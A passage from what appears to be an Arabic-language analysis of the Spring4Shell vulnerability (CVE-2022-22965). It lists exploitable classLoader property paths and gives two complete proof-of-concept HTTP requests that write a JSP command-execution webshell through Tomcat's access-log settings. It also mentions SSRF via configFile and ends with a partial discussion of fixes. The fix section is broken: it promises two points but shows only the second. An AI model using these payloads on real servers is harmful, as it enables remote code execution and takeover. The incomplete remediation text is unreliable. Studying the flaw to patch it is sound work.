class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
class.module.classLoader.resources.context.manager.engine.cluster
class.module.classLoader.resources.context.manager.engine.defaultHost
class.module.classLoader.resources.context.manager.engine.domain
class.module.classLoader.resources.context.manager.engine.jvmRoute
class.module.classLoader.resources.context.manager.engine.name
class.module.classLoader.resources.context.manager.engine.parent
class.module.classLoader.resources.context.manager.engine.parentClassLoader
class.module.classLoader.resources.context.manager.engine.realm
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.startChildren
class.module.classLoader.resources.context.manager.engine.startStopThreads
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.container
class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.credentialHandler.algorithm
class.module.classLoader.resources.context.realm.credentialHandler.encoding
class.module.classLoader.resources.context.realm.credentialHandler.iterations
class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.container
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.service.container
class.module.classLoader.resources.context.manager.engine.service.domain
class.module.classLoader.resources.context.manager.engine.service.name
class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.basic.container
class.module.classLoader.resources.context.parent.pipeline.basic.domain
class.module.classLoader.resources.context.parent.pipeline.basic.next
class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.buffered
class.module.classLoader.resources.context.parent.pipeline.first.checkExists
class.module.classLoader.resources.context.parent.pipeline.first.condition
class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
class.module.classLoader.resources.context.parent.pipeline.first.container
class.module.classLoader.resources.context.parent.pipeline.first.directory
class.module.classLoader.resources.context.parent.pipeline.first.domain
class.module.classLoader.resources.context.parent.pipeline.first.enabled
class.module.classLoader.resources.context.parent.pipeline.first.encoding
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
class.module.classLoader.resources.context.parent.pipeline.first.locale
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.pattern
class.module.classLoader.resources.context.parent.pipeline.first.prefix
class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.first.rotatable
class.module.classLoader.resources.context.parent.pipeline.first.suffix
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.engine.service.server.address
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
class.module.classLoader.resources.context.manager.engine.service.server.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.port
class.module.classLoader.resources.context.manager.engine.service.server.shutdown
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.next.container
class.module.classLoader.resources.context.parent.pipeline.first.next.domain
class.module.classLoader.resources.context.parent.pipeline.first.next.next
class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
class.module.classLoader.resources.context.manager.engine.service.server.port
باستخدام class.module.classLoader.resources.context.parent.pipeline يمكن تعيين خصائص AccessLog، ثم يمكن الاستفادة من وظيفة كتابة السجلات لكتابة webshell، وPOC كما يلي: ```text GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E


أو استخدم رأس الطلب لتمرير قيمة pattern:
* tomcat access log pattern: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html```
GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
Host: 127.0.0.1:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
يمكنك أيضًا استغلال class.module.classLoader.resources.context.configFile لتنفيذ SSRF.
الخصائص الأخرى القابلة للاستغلال تتطلب مزيدًا من الاطلاع على وظيفة كل خاصية.
نقطة يجب الانتباه إليها هي أن تعديل الخصائص أعلاه قد يؤدي إلى إعادة تشغيل الخدمة، لذلك إذا كنت تختبر بنفسك فلا مشكلة، ولكن لا تستغل هذه الـ PoCs مباشرة في بيئة الإنتاج أبدًا، إلا إذا كنت مدركًا تمامًا ويمكنك تحمّل عواقب الاستغلال!!
في طريقة الإصلاح في الإصدارات الجديدة، هناك نقطتان رئيسيتان لمنع تجاوز المتغيرات:
لكن هذا الأسلوب القائم على القائمة السوداء قد يكون قابلاً للالتفاف؛ فهو مناسب للاستخدام المؤقت، لكنه ليس حلاً طويل الأمد؛
2. في `CachedIntrospectionResults`، أُضيف تحقق عند الحصول على `beaninfo`، بحيث يُسمح فقط بمتغير `name` الخاص بفئة `Class`:

**تدابير تجنّب أخرى:**
1. تضمّنت الإصدارات الأحدث من tomcat أيضاً تجنّباً للثغرة؛ في البداية استُخدم إصدار tomcat 8.5.78 ولم تظهر الثغرة، ومن خلال التصحيح تبيّن أنه عند استخدام `class.module.classLoader.resources` في هذا الإصدار من tomcat يكون `resources` الذي يتم الحصول عليه فارغاً، مما يجعل الاستغلال غير ممكن؛ لذا فإن ترقية إصدار tomcat يمكنها أيضاً تجنّب هذه الثغرة؛
2. الإصدارات jdk9 وما دونها غير متأثرة بهذه الثغرة.